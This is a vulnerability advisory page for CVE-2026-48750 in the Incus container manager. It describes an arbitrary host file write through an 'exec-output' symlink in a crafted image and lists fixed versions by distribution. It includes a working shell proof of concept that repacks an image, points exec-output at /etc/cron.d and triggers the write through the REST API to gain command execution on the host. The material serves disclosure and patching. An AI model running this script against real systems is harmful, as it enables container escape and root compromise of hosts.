CVE-2026-48750: Incus has an arbitrary file write on host via `exec-output` symlink in crafted image
Summary
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instanceexec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the execUUID.stdout file in /etc/cron.d on the host for arbitrary command execution.
#!/bin/sh usage: $0 existing-imagefp set -eu
basefp="${1}"
die() { printf '%s' "${@}" >&2 exit 1 }
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack" cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output ln -s /etc/cron.d exec-output
tar -f- -c | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null incus image import "${tmpdir}"/img --alias afw-exec-output
Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec -exec cat {} \;
Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Other sources
Incus is a system container and virtual machine manager. Prior to version 7.2.0, the record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/lxc/incus/v7/cmd/incusdto a version that resolves this vulnerability.Fixed in 7.2.0 - Upgrade
Upgrade
alpine/incusto a version that resolves this vulnerability.Fixed in 7.0.1-r0 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u8 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 7.0.0-5 - Upgrade
Upgrade
debian/lxdto a version that resolves this vulnerability.Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7 - Upgrade
Upgrade
debian/incusto a version that resolves this vulnerability.Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3 - Upgrade
Upgrade
Incusto a version that resolves this vulnerability.Fixed in 7.2.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48750?
CVE-2026-48750 has a critical severity rating of 9.9.
How do I fix CVE-2026-48750?
To mitigate CVE-2026-48750, ensure that the `exec-output` directory is not a symlink and restrict access to it.
What does the CVE-2026-48750 vulnerability affect?
CVE-2026-48750 affects the `record-output` parameter of the `/instances/$name/exec` endpoint in the LXC Incus software.
What impact does CVE-2026-48750 have on security?
CVE-2026-48750 allows for arbitrary file writing, which can lead to compromises in confidentiality, integrity, and availability.
When was CVE-2026-48750 published?
CVE-2026-48750 was published on June 26, 2026.